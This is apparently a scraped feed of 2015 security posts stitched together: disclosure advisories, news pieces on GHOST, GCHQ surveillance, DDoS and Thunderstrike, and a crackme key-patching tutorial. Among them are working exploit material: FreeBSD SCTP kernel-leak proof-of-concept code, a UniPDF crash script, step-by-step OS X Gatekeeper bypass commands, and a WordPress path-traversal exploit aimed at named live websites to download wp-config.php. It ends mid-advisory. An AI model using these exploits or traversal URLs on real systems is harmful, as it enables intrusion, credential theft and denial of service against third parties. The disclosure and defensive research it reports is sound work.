sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); opt_len = sizeof(stream_value); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. */ stream_value.stream_id = 0x400; /* Triggering the vulnerability... */ if (getsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, &opt_len) < 0){ perror("triggering the vulnerability"); goto out; } printf("[*] Value leaked from kernel: 0x%04X\n", stream_value.stream_value); out: if (close(fd) < 0) { perror("close"); } return(0); } -----/ Note that both the second and third PoCs try to connect to a dummy SCTP server listening on localhost on port 4444, since the SCTP socket needs to be in a 'connected' state in order to trigger the vulnerabilities. The following code, based on the example code published here[5], can be used to run a simple SCTP server listening on port 4444: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <unistd.h> #define BUFFER_SIZE (1<<16) #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd, n, flags; struct sockaddr_in addr; socklen_t from_len; struct sctp_sndrcvinfo sinfo; char buffer[BUFFER_SIZE]; struct sctp_event_subscribe event; if ((fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&event, 1, sizeof(struct sctp_event_subscribe)); if (setsockopt(fd, IPPROTO_SCTP, SCTP_EVENTS, &event, sizeof(struct sctp_event_subscribe)) < 0) { perror("setsockopt"); goto out; } memset(&addr, 0, sizeof(struct sockaddr_in)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (bind(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("bind"); goto out; } if (listen(fd, 1) < 0) { perror("listen"); goto out; } while (1) { flags = 0; memset(&addr, 0, sizeof(struct sockaddr_in)); from_len = (socklen_t)sizeof(struct sockaddr_in); memset(&sinfo, 0, sizeof(struct sctp_sndrcvinfo)); n = sctp_recvmsg(fd, (void *)buffer, BUFFER_SIZE, (struct sockaddr *)&addr, &from_len, &sinfo, &flags); if (flags & MSG_NOTIFICATION) { printf("Notification received.\n"); } else { printf("Msg of length %d received from %s:%u on stream %d, PPID %d.\n", n, inet_ntoa(addr.sin_addr), ntohs(addr.sin_port),sinfo.sinfo_stream, ntohl(sinfo.sinfo_ppid)); } } out: if (close(fd) < 0) { perror("close"); } return (0); } -----/ 9. *Report Timeline* . 2015-01-15: Initial notification sent to FreeBSD. Publication date set to Feb 16, 2015. . 2015-01-15: FreeBSD confirms reception of the report and requests the draft version of the advisory. They clarify that they usually aim for Tuesday releases depending on the severity of the problem. . 2015-01-15: Core Security sends a draft version of the advisory to the vendor and requests to be informed once they finish reviewing the vulnerabilities. . 2015-01-26: Core Security requests a status report regarding their review of the vulnerabilities and the estimated publication date. . 2015-01-26: FreeBSD confirms the bugs, but informs us that they'll only publish a security advisory for the SCTP Socket SCTP_SS_VALUE Memory Corruption and Kernel Memory Disclosure vulnerabilities. For the "vt Driver VT_WAITACTIVE Sign Conversion Vulnerability" they will commit a normal change and then release an "Errata Notice" informing the fix. They set the publication date for 27th January, 2015. . 2015-01-26: Core Security informs that understands their position regarding the vt Driver VT_WAITACTIVE Sign Conversion issue, but we will nevertheless publish thew bug in the advisory because we consider it a vulnerability. We accepted their offer of sharing CVE IDs. . 2015-01-26: FreeBSD confirms they have available CVE IDs and ask if we want to use IDs from 2014 or 2015. . 2015-01-27: FreeBSD informs us that after going through their mail archive they found out that the same issue was reported by Google and that they missed it. They inform us that they will use only one CVE ID for the two SCTP issues because they state they are of the same nature. . 2015-01-27: Core Security informs that will assign a the CVE ID CVE-2014-0998 to the vt(4) vulnerability and we requested the date and time they plan to release the fix and advisory. . 2015-01-27: FreeBSD informs they will publish the fix and advisory today. . 2015-01-27: Advisory CORE-2015-0003 published. 10. *References* [1] https://www.freebsd.org/releases/10.1R/relnotes.html#new [2] https://www.freebsd.org/cgi/man.cgi?query=vt&sektion=4 [3] https://wiki.freebsd.org/Newcons [4] https://www.freebsd.org/cgi/man.cgi?query=sctp&sektion=4 [5] http://www.bsdcan.org/2008/schedule/attachments/44_bsdcan_sctp.pdf [6] https://security.FreeBSD.org/advisories/FreeBSD-SA-15:02.kmem.asc 11. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. Source

# Exploit Title: UniPDF v1.1 BufferOverflow, SEH overwrite DoS PoC # Google Dork: [none] # Date: 01/28/2015 # Exploit Author: bonze # Email: dungvtr@gmail.com # Vendor Homepage: http://unipdf.com/ # Software Link: http://unipdf.com/file/unipdf-setup.exe (Redirect to: http://unipdf-converter.en.softonic.com/download) # Version: 1.1 # Tested on: Windows 7 SP1 EN # CVE : [none] # Note: # Function MultiByteToWideChar will overwrite RET and SEH pointer, but I can't make exception occur before StackCookie checking # Please tell me if you have any ideal #013E8012 |. 68 00020000 PUSH 200 ; /WideBufSize = 200 (512.) #013E8017 |. 8D8C24 9C0000> LEA ECX,DWORD PTR SS:[ESP+9C] ; | #013E801E |. 51 PUSH ECX ; |WideCharBuf #013E801F |. 52 PUSH EDX ; |StringSize #013E8020 |. 50 PUSH EAX ; |StringToMap #013E8021 |. 6A 00 PUSH 0 ; |Options #013E8023 |. 6A 00 PUSH 0 ; |CodePage = CP_ACP #013E8025 |. FF15 54B45101 CALL NEAR DWORD PTR DS:[<&KERNEL32.Multi> ; \MultiByteToWideChar #013E802B |. 8D87 08020000 LEA EAX,DWORD PTR DS:[EDI+208] # At Offset: 327-> overwrite nSEH # At Offset: 329-> overwrite SEH # badchar = 0x22 buff2 = "A" * 325 buff2+= "CC" # nSEH buff2+= "BB" # SEH crash2 = "<config>\n" crash2 += " <current Dat=\"1422420474\" />\n" crash2 += " <Dat Txt=\""+buff2+"\" />\n" crash2 += "</config>\n" # Copy file update.xml to UniPDF Application Folder and run UniPDF.exe file = open("update.xml","w") file.write(crash2) file.close() print "UniPDF v1.1 Crash PoC by bonze at FPT-IS" print "Email: dungvtr@gmail.com" print "File Created" Source

# Exploit Title: OS X Gatekeeper bypass Vulnerability # Date: 01-27-2015 # Exploit Author: Amplia Security Research # Vendor Homepage: www.apple.com # Version: OS X Lion, OS X Mountain Lion, OS X Mavericks, OS X Yosemite # Tested on: OS X Lion, OS X Mountain Lion, OS X Mavericks, OS X Yosemite # CVE : CVE-2014-8826 Advisory URL : http://www.ampliasecurity.com/advisories/os-x-gatekeeper-bypass-vulnerability.html Gatekeeper is a feature available in OS X Lion v10.7.5 and later versions of OS X. Gatekeeper performs checks on files and applications downloaded from the Internet to prevent execution of supposedly malicious and untrusted/unsigned code. Gatekeeper provides three different settings: - Mac App Store (Only apps that came from the Mac App Store can open) - Mac App Store and identified developers (Only apps that came from the Mac App Store and identified developers using Gatekeeper can open) - Anywhere The default setting is "Mac App Store and identified developers". This setting prevents execution of any code that was not downloaded from the Mac App Store and that was not digitally signed by a Developer ID registered with Apple. For example, If the user downloads an application from an untrusted source and double-clicks on the application to execute it, OS X Gatekeeper will prevent its execution with the following warning message: "<AppName> can't be opened because it is from an unidentified developer." (For more information on OS X Gatekeeper, see http://support.apple.com/kb/ht5290) We found an attacker can bypass OS X Gatekeeper protections and execute unsigned malicious code downloaded by the user, even if OS X Gatekeeper is configured to only allow execution of applications downloaded from the Mac App Store (the highest security setting). The exploitation technique is trivial and requires Java to be installed on the victim's machine. OS X Gatekeeper prevents execution of downloaded Java Jar (.jar) and class (.class) files, but this verification can be bypassed. For example: - Create a JAR file containing the code to be executed For example, File AmpliaTest.java: public class AmpliaTest { public static void main(String[] args) { try { Runtime.getRuntime().exec("/usr/bin/touch /tmp/AMPLIASECURITY"); } catch(Exception e) { } } } (This is just an example, of course, arbitrary code can be executed) $ javac AmpliaTest.java Be sure to compile the code for a version of Java lower than or equal to the one available on the target (for example, javac -target 1.6 -source 1.6 AmpliaTest.java; and the compiled code will work on Java versions >= 1.6) . $ echo "main-class: AmpliaTest" > Manifest $ jar cmf Manifest UnsignedCode.jar AmpliaTest.class - Create a .DMG disk image For example: $ hdiutil create -size 5m -fs HFS+ -volname AmpliaSecurity AmpliaTest.dmg - Mount AmpliaTest.dmg - Rename UnsignedCode.jar to UnsignedCode (just remove the extension) - Copy UnsignedCode to the AmpliaSecurity volume - Unmount AmpliaTest.dmg - Host the file AmpliaTest.dmg on a web server - Download AmpliaTest.dmg using Safari and open it - Double-Click on 'UnsignedCode' and the code will be executed bypassing OS X Gatekeeper checks (the code creates the file /tmp/AMPLIASECURITY). (Perform the same steps but without removing the .jar extension to UnsignedCode.jar and OS X Gatekeeper will prevent execution of the Jar file) Because the file 'UnsignedCode' has no extension, Finder will display a blank page icon; the Java/JAR icon will not be displayed. The user does not know he is double-clicking on a JAR file and the file does not look particularly suspicious. Also, since the unsigned code is distributed inside a disk image (.DMG) file, there are many things the attacker can do to gain the trust of the user (include other files, use Finder background images, etc). Source

1. Introduction In this third part of the series, we will see something similar to the second article but a little bit more advanced. This article will cover the Digital Signature Algorithm (DSA) and Digital Signature Standard (DSS). 2. Tools Needed The target file (CryptoChallenge3.exe) DSAK: My own DSA/DSS Keygenerator (requires dotNetFx4) PEiD .NET Reflector Reflexil 3. What is DSA/DSS? Digital Signature Algorithm (DSA) is a public-key signature scheme developed by the U.S. National Security Agency (NSA). It was proposed by the U.S. National Institute of Standards and Technology (NIST) back in 1991 and has become a U.S. Federal Information Processing Standard (FIPS 186) called the Digital Signature Standard (DSS). It is considered to be the first digital signature scheme recognized by any government. DSA is a variant of the ElGamal Signature Scheme. A. Parameters P = A prime number in range 512 to 1024 bits which must be a multiple of 64 Q = A 160 bit prime factor of P-1 G = H^((P-1)/Q) mod P. H is any number < P-1 such that H^((P-1)/Q) mod P > 1 X = A random number < Q Y = G^X mod P Public keys are: (Q, P, G and Y). Private key is X (To find X one must solve the DLP Problem). B. Signing To sign a message (M) follow these steps: Generate a random number K where (K < Q) Compute: R = (G^K mod P) mod Q Compute: S = (K^-1*(SHA(M) + X*R)) mod Q The pair C(R,S) is the signature of M. C. Verifying Given the signature C(R,S) one would verify it as follows: Compute: W = S^-1 mod Q Compute: U1 = (SHA(M) * W) mod Q Compute: U2 = (R*W) mod Q Compute: V = ((G^U1 * Y^U2) mod P) mod Q Confirm that V == R D. Example Using the tool that I’ve recently made, “DSAKEYGENERATOR“, we’ll be able to see the previous steps in action. The tool is user friendly and gives full control, meaning you can either generate keys and test them and/or input your own keys and work on them. Prime P bits size from 512 to 1024. Generate new keys. To test the keys. Calculate Y in case you’ve already had the keys from somewhere else. Generate new G and X keys, Y will also be calculated automatically. Clicking “TEST” will cause a new window to show up: A checkbox that generates a random K every one second (checked by default and must be unchecked when trying to sign). Button to sign a message. Button to verify a message. 4. Target analyses Here we have the challenge as you see in the picture below: We load up the challenge in PEiD: That’s something new, we have a non-packed/protected .NET application, not like the previous two challenges which were made in MASM, but that’s not a problem. Since it’s a .NET application, we cannot use OllyDbg, instead we’ll use .NET Reflector. So load up the assembly in Reflector and keep expanding until you reach Form1: There are a lot of methods as you might see, but what interests us more is the method btn_check_Click since it’s related to the only button in this challenge. Click that method and you shall see: The code is easy to understand, we have the typed name put in a variable ‘text’ and the typed serial in ‘input’ name length must be between 3 and 15. Serial length must be between 0x4f (79d) and 0×51 (81d). After that a method called isHex(string x) does some checking, let’s find out what’s inside: This method uses Regex’s isMatch method to see if the typed serial matches the Regex string “^[0-9A-Fa-f]{40}[-][0-9A-Fa-f]{40}?$”. Let me explain each Regex symbol: ^: Start of string. [0-9A-Fa-f]: One from 0 to 9, A to F or a to f. {40}: Exactly 40 characters. [-]: one hyphen. ?: Once or none. $: End of string So the serial must contain 40 hexadecimal characters, a hyphen ‘-’ and another 40 hexadecimal characters. If name and serial are okay, the serial will be split into two parts, the first part before the hyphen and the second part after the hyphen, and put in a string array called strArray. After that, a method is called to check whether the serial is right or wrong; this method has three string parameters verify(string name, string rx, string sx) and returns a bool. Let’s get inside that method: If we compare the variables (integer8, exp, integer10 and integer11) with the verifying steps of DSA we’ll know that: modulus = order Q n = prime P integer3 = generator G integer4 = public key Y integer6 = rx = R = strArray[0] which is the first part of the serial integer8 = sx = S = strArray[1] which is the second part of the serial integer8 = W exp = u1 integer10 = u2 integer11 = v Now we have everything we need, the only problem is that it will take so much time to solve DLP since P, G and Y are 512 bits size. So what we are going to do is to change the challenge’s keys with new ones that we will have their private key X, meaning we are going to patch the target. And that’s the job of Reflexil. First open DSAKeygenerator and generate some 512 bit keys. Leave it open. Assuming you have already downloaded Reflexil. Extract the rar file and you’ll find a dll inside a folder, it’s called “Reflexil.Reflector.AIO.dll”. Move it to somewhere else where it won’t be deleted (C for example). Now go back to Reflector and do as shown in the pictures below: Choose the dll file and close. Now go back to menu Tools and click Reflexil. Right Click on Offset 0 and click Edit. Change the operand at offset 0 with the generated Q in DSAKeygenerator. The same to offset 13 with P, offset 26 with G and offset 39 with Y. I’ve got the following keys generated in DSAKeygenerator: Q = EEFBBFE158DBB7C602BE9540B89FF681EED0310D P = 86CC13E777A3ED808B3B17B3AC6C78D5ABA5F15746B1A68C72B6F530A6B723390B486228E0F715DBB593206801DF48E3E56DF57336E2BD6219EE8DEFD001F6E7 G = 1E342C53DBE73C97FF8D8022B8EB18329181B821B10A5DBFC2688DDCC9DB5DF84079DA58E81FEEA43AAD38A8C1D3901E25859C7AB63AFEE1145EFD02DCC9B1AA X = AF12001D2043D47E8E1B661958177B6068C8FAA2 Y = 2C166A5F90BD4B40D159CD48CC4391A8322BF3839DB58DA6EB0EEDF9D322AC3446EBAB0362F6BFB7127320C6CCED2CF77C915A1B56E5CE57A1758B53DAFA9C45 The result in Reflexil must look like: Now on the assembly browser, right click on the main assembly (1) and do as follows: Now that we have the challenge patched with the new keys, we must generate the signature (R,S) using DSAKeygenerator (Hope you didn’t close it! If so just fill each key with the one on top without clicking the ‘generate keys’ button) and click TEST as shown below: I’ve changed M to “Jamal Chahir” and unchecked the “RAND” checkbox so that I can get a fixed R and S. Now all we’ve got to do is fill in the name and serial in the patched challenge with what we’ve got: Name: Jamal Chahir Serial: R-S = 5DD88D3FE73B83F8027BB0AD3A53D404F887840B-E189F0BAC17C03EDA24FD5FD837FA397D6501321 The above picture shows that we have successfully registered the application. That’s it. 5. Conclusion The whole idea behind this article was to show you that the key size is no problem once you completely understand the algorithm. But there still plenty of ways to manage that problem, depending on how the programmer thinks. Download links: Target: https://www.dropbox.com/s/u7ywze2gsmweskk/CryptoChallenge3.rar?dl=0 DSAK: https://www.dropbox.com/s/b7lveh2lc8fukcs/DSAK.rar?dl=0 PEiD : PEiD Download - Softpedia .NET Reflector: .NET decompiler: decompile any .NET code | .NET Reflector Reflexil: reflexil.net Sources: http://en.wikipedia.org/wiki/Digital_Signature_Algorithm Source

A critical vulnerability has been found in glibc, the GNU C library, that affects all Linux systems dating back to 2000. Attackers can use this flaw to execute code and remotely gain control of Linux machines. The issue stems from a heap-based buffer overflow found in the __nss_hostname_digits_dots() function in glibc. That particular function is used by the _gethostbyname function calls. “A remote attacker able to make an application call either of these functions could use this flaw to execute arbitrary code with the permissions of the user running the application,” said an advisory from Linux distributor Red Hat. The vulnerability, CVE-2015-0235, has already been nicknamed GHOST because of its relation to the _gethostbyname function. Researchers at Qualys discovered the flaw, and say it goes back to glibc version 2.2 in Linux systems published in November 2000. According to Qualys, there is a mitigation for this issue that was published May 21, 2013 between patch glibc-2.17 versions and glibc-2.18. “Unfortunately, it was not recognized as a security threat; as a result, most stable and long-term-support distributions were left exposed (and still are): Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7, Ubuntu 12.04, for example,” said an advisory from Qualys posted to the OSS-Security mailing list. Respective Linux distributions will be releasing patches; Red Hat has released an update for Red Hat Enterprise Linux v.5 server. Novell has a list of SUSE Linux Enterprise Server builds affected by the vulnerability. Debian has already released an update of its software addressing the vulnerability. “It’s everywhere, which is kind of the urgency we have here. This has been in glibc for a long time. It was fixed recently, but it was not marked as a security issue, so things that are fairly new should be OK,” said Josh Bressers, a member of the Red Hat security response team. “From a threat level, what it comes down to is a handful of stuff that’s probably dangerous that uses this function.” Unlike past Internet-wide bugs such as Bash, patching glibc may not be the chore it was with Bash since so many components made silent Bash calls. “In this instance, you just apply the glibc update, and restart any services that are vulnerable,” Bressers said. “It’s not confusing like Shellshock was.” Qualys, in its advisory, not only shares extremely in-depth technical information on the vulnerability, but also includes a section explaining exploitation of the Exim SMTP mail server. The advisory demonstrates how to bypass NX, or No-eXecute protection as well as glibc malloc hardening, Qualys said. Qualys also said that in addition to the 2013 patch, other factors mitigate the impact of the vulnerability, including the fact that the gethostbyname functions are obsolete because of IPv6 and newer applications using a different call, getaddrinfo(). While the flaw is also exploitable locally, this scenario too is mitigated because many programs rely on gethostbyname only if another preliminary call fails and a secondary call succeeds in order to reach the overflow. The advisory said this is “impossible” and those programs are safe. There are mitigations against remote exploitation too, Qualys said. Servers, for example, use gethostbyname to perform full-circle reverse DNS checks. “These programs are generally safe because the hostname passed to gethostbyname() has normally been pre-validated by DNS software,” the advisory. “It’s not looking like a huge remote problem, right now,” Bressers said. However, while the bug may have been dormant since 2000, there is no way to tell if criminals or government-sponsored hackers have been exploiting this vulnerability. Nor is there any way to tell what will happen once legitimate security researchers—and black hats—begin looking at the vulnerability now that it’s out in the open. With Bash, for example, it didn’t take long for additional security issues to rise to the surface. Source

As Ars has previously reported, documents passed to journalists by former National Security Agency contractor Edward Snowden have shown that the NSA and its British counterpart agency, the GCHQ, have exploited privacy "leaks" in mobile applications (including Rovio's Angry Birds) to track individuals of interest. A new document recently published by Der Spiegel provides further details on just how much the GCHQ was able to extract from mobile data to keep tabs on those it targeted for surveillance. The British agency used a program referred to as BADASS to suck up data emitted from Angry Birds and other apps, and the information was so granular, analysts could even track how well (or poorly) a person was doing playing. BADASS is an acronym for "BEGAL Automated Deployment And Survey System," and the system pulled in data from GCHQ and NSA network taps identified as mobile analytics and advertising traffic. Among other things, this data included Google "pref" cookies (such as those used by Ars to identify users in our own passive network surveillance testing with NPR) and Flurry application analytic data used by developers to track usage and performance of their mobile apps. User location data and activity could also be monitored based on the data stream, allowing analysts to pinpoint an active user within minutes, according to the GCHQ presentation from 2011. Much of this data was easily tracked because the mobile apps did not encrypt data in transit, leaving data exposed to anyone who might be able to monitor the network. That's still the case for many of these analytics and advertising services. Source

As the company behind one of the first transparency reports, Google has often said it works toward more transparency surrounding government data requests, but a Monday letter to the company's CEO Eric Schmidt from WikiLeaks exposed the search engine provider as having waited more than two and a half years to let WikiLeaks staffers know their data had been handed over to the U.S. government in response to a secret search warrant. Google notified the staffers of the data collection on December 23, 2014, after initially serving the warrants in March 2012, according to The Guardian. The tech company reportedly couldn't disclose the search warrant execution to its subjects because of a gag order. “We are astonished and disturbed that Google waited over two and a half years to notify its subscribers that a search warrant was issued for their records,” said the letter, signed by Michael Ratner, president emeritus of the Center for Constitutional Rights, and attorneys for the targets of the warrants - Sarah Harrison, investigations editor of WikiLeaks, Kristinn Hrafnsson, spokesperson, and Joseph Farrell, senior editor. The letter also requested a copy of the court order with which Google complied, a list of the material the company disclosed or gave to law enforcement, as well as information on whether Google initiated any legal challenges before complying with the warrants. “We certainly would expect Google to give an explanation to journalists after the provider waited over two and a half years to notify them that it handed their information over to the government,” Carey Shenkman, a First Amendment attorney working for Ratner in New York City who signed the letter, said in a statement emailed to SCMagazine.com. The letter compared Twitter's efforts in challenging search warrant requests to Google's apparent failure to do so. This possible lack of scrutiny prohibited the WikiLeaks' staffers from intervening and protecting their interests, including their “rights to privacy, association and freedom from illegal searches,” the letter said. [An earlier version of this article incorrectly referred to Michael Ratner as "professor emeritus of the Center for Constitutional Rights" instead of "president emeritus of the Center for Constitutional Rights."] Source

Hacktivists and gamers are becoming big users of net attacks that knock sites offline by bombarding them with data, suggests a report. Compiled by Arbor Networks, the report looks at 10 years of distributed denial of service (DDoS) attacks. The ease with which they could be staged had made them a favourite for groups with a grudge, said Arbor. Also, it said, insecure home routers were being enrolled into large groups of devices that mounted the attacks. Extortion attempt In the early days of DDoS, cybercrime gangs had used them to extort cash from websites run by betting and gambling firms that could not afford to be knocked offline, said Darren Anstee, a senior analyst at Arbor. Now, he said, attacks were being mounted by different groups and had grown considerably in size. In 2011, the biggest attacks had flung about 100 gigabits per second (Gbps) of data at targets, found the report. In 2014 that peak had hit 400Gbps and in the same year there had been four times as many attacks over 100Gbps than in the previous 12 months. "There's been a massive jump in the number of very large attacks going on out there," said Mr Anstee. "In 2014 we saw more volumetric attacks, with attackers trying to knock people offline by saturating their access to the internet." Almost 40% of the organisations Arbor contacted for its report said they were being hit by more than 21 attacks per month, said the report. The hacking group known as The Lizard Squad reportedly uses hacked home routers to mount some of its attacks Part of the reason for the shift to the large attacks could be explained by a change in the technologies being used to stage them, he said. When cybercrime gangs had been behind the majority of attacks, the data barrages had been generated by the thousands of hijacked home computers they had had under their control, he said. Botnets were still used to mount extortion attacks, he said, and were also used to divert the attention of a company's security team so they did not notice a separate attack on another part of a company's infrastructure. Figures in the report suggested that companies were getting better at spotting the early stages of an attack and recovering once they were hit, he said. However, said Mr Anstee, building a botnet was difficult for hacktivists and others, who had instead turned to other net-connected devices and technologies to generate the huge data flows. Some attacks abused the net's timekeeping system or the domain servers that kept a list of which website was where, he said. Other groups had found ways to enrol insecure home net gateways and routers into attacks, he added. Hacktivists, hacker groups such as Lizard Squad and gamers who wanted revenge on other players were the bigger users of these tactics, said Mr Anstee. It was now easy to find so-called "booter" services online that let gamers kick rivals off a particular gaming network or title by attacking that network, he said. DDoS was also being used by people keen to use their technical skills express their feelings about a real-world conflict. "If you look at DDoS attacks and try to tie them up with geopolitical events in the last few years, you will always see those events echoed in cyberspace," he said. Source

Apple will mute the Thunderstrike attack in an upcoming OS X patch, according to a report. Beta developers told iMore the OSX 10.10.2 release stops the attack and prevents firmware downgrades which could re-enable the vulnerability on patched machines. The Thunderstrike attack was revealed earlier this month by reverse engineer Trammell Hudson (@QRS). The exploit uses 35 year-old legacy option ROMs to replace the RSA keys in a Mac's extensible firmware interface (EFI) to allow malicious firmware to be installed and lock out attempts to remove it. Hudson told the Chaos Communications Congress gabfest that interception of Mac shipments and brief physical 'Evil Maid' access to machines were some of the possible vectors to attack vulnerable computers. It could also spread quickly through the distribution of infected removable media. While Hudson's hack may soon be blunted, Cupertino could remain exposed to similar attacks as long as it left option ROMs and Thunderbolt PCIe functions open, the hacker said. The patch run would also plug three low level holes reported by Google's Project Zero that could be handy when combined with more damaging hacks Source

Bro is a powerful system that on top of the functionality it provides out of the box, also offers the flexibility to customize analysis pretty much arbitrarily. We provide a range of documentation material ranging from introductory material to get you started, to full references of Bro’s various frameworks. Download: https://www.bro.org/download/index.html

|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| |-------------------------------------------------------------------------| |[*] Exploit Title: Wordpress RedSteel Theme Arbitrary File Download Vulnerability | |[*] Google Dork: inurl:wp-content/themes/RedSteel | |[*] Date : Date: 2015-01-25 | |[*] Exploit Author: Ashiyane Digital Security Team | |[*] Vendor Homepage : http://www.webdesignlessons.com/redsteel-wordpress-theme/ | |[*] Tested on: Windows 7 | |[*] Discovered By : ACC3SS | |-------------------------------------------------------------------------| | |[*] Location : [localhost]/wp-content/themes/RedSteel/download.php?file=filename.php | |-------------------------------------------------------------------------|download.php | Vulnerable file : download.php | | Vulnerable code : | <?php $file = @$_GET['file']; $parts = explode('/',$file); $fileName = $parts[sizeof($parts)-1]; if ((isset($file))&&(file_exists($file))) { header("Content-type: application/force-download"); header('Content-Disposition: inline; filename="' . $fileName . '"'); header("Content-Transfer-Encoding: Binary"); header("Content-length: ".filesize($file)); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $fileName . '"'); readfile($file); } ?> | | | | | | |[*] Proof: | |[*] http://dixonpest.com/wp-content/themes/RedSteel/download.php?file=../../../wp-config.php | |[*] http://rmhctallahassee.org/wp-content/themes/RedSteel/download.php?file=download.php | |[*] | | |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| Source

Proof of concept exploit that allows a local application to gain system privileges via CVE-2014-7911 and then root via CVE-2014-4322. The exploit included is for a Nexus 5 with Android 4.4.4 (KTU8P). The exploit may also work on other devices if the offsets of the rop chain are modified. Download: Download: Android CVE-2014-7911 / CVE-2014-4322 Local Exploit ? Packet Storm

Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Android WiFi-Direct Denial of Service 1. *Advisory Information* Title: Android WiFi-Direct Denial of Service Advisory ID: CORE-2015-0002 Advisory URL: http://www.coresecurity.com/advisories/android-wifi-direct-denial-service Date published: 2015-01-26 Date of last update: 2015-01-26 Vendors contacted: Android Security Team Release mode: User release 2. *Vulnerability Information* Class: Uncaught Exception [CWE-248] Impact: Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2014-0997 3. *Vulnerability Description* Some Android devices are affected by a Denial of Service attack when scanning for WiFi Direct devices. An attacker could send a specially crafted 802.11 Probe Response frame causing the Dalvik subsystem to reboot because of an Unhandle Exception on WiFiMonitor class. 4. *Vulnerable Packages* . Nexus 5 - Android 4.4.4 . Nexus 4 - Android 4.4.4 . LG D806 - Android 4.2.2 . Samsung SM-T310 - Android 4.2.2 . Motorola RAZR HD - Android 4.1.2 Other devices could be also affected. 5. *Non-vulnerable packages* . Android 5.0.1 . Android 5.0.2 6. *Vendor Information, Solutions and Workarounds* Some mitigation actions may be to avoid using WiFi-Direct or update to a non-vulnerable Android version. Contact vendor for further information. 7. *Credits* This vulnerability was discovered and researched by Andres Blanco from the CoreLabs Team. The publication of this advisory was coordinated by the Core Advisories Team. 8. *Technical Description / Proof of Concept Code* Android makes use of a modified *wpa_supplicant*[1] in order to provide an interface between the wireless driver and the Android platform framework. Below the function that handles *wpa_supplicant* events. This function returns a jstring from calling NewStringUTF method. /----- static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject) { char buf[EVENT_BUF_SIZE]; int nread = ::wifi_wait_for_event(buf, sizeof buf); if (nread > 0) { return env->NewStringUTF(buf); } else { return NULL; } } -----/ The WiFi-Direct specification defines the P2P discovery procedure to enable P2P devices to exchange device information, the device name is part of this information. The WifiP2pDevice class, located at /wifi/java/android/net/wifi/p2p/WifiP2pDevice.java, represents a Wi-Fi p2p device. The constructor method receives the string provided by the *wpa_supplicant* and throws an IllegalArgumentException in case the event is malformed. Below partial content of the WiFiP2PDevice.java file. /----- [...] /** Detailed device string pattern with WFD info * Example: * P2P-DEVICE-FOUND 00:18:6b:de:a3:6e p2p_dev_addr=00:18:6b:de:a3:6e * pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E' config_methods=0x188 * dev_capab=0x21 group_capab=0x9 */ private static final Pattern detailedDevicePattern = Pattern.compile( "((?:[0-9a-f]{2}{5}[0-9a-f]{2}) " + "(\\d+ )?" + "p2p_dev_addr=((?:[0-9a-f]{2}{5}[0-9a-f]{2}) " + "pri_dev_type=(\\d+-[0-9a-fA-F]+-\\d+) " + "name='(.*)' " + "config_methods=(0x[0-9a-fA-F]+) " + "dev_capab=(0x[0-9a-fA-F]+) " + "group_capab=(0x[0-9a-fA-F]+)" + "( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?" ); [...] /** * @Param string formats supported include * P2P-DEVICE-FOUND 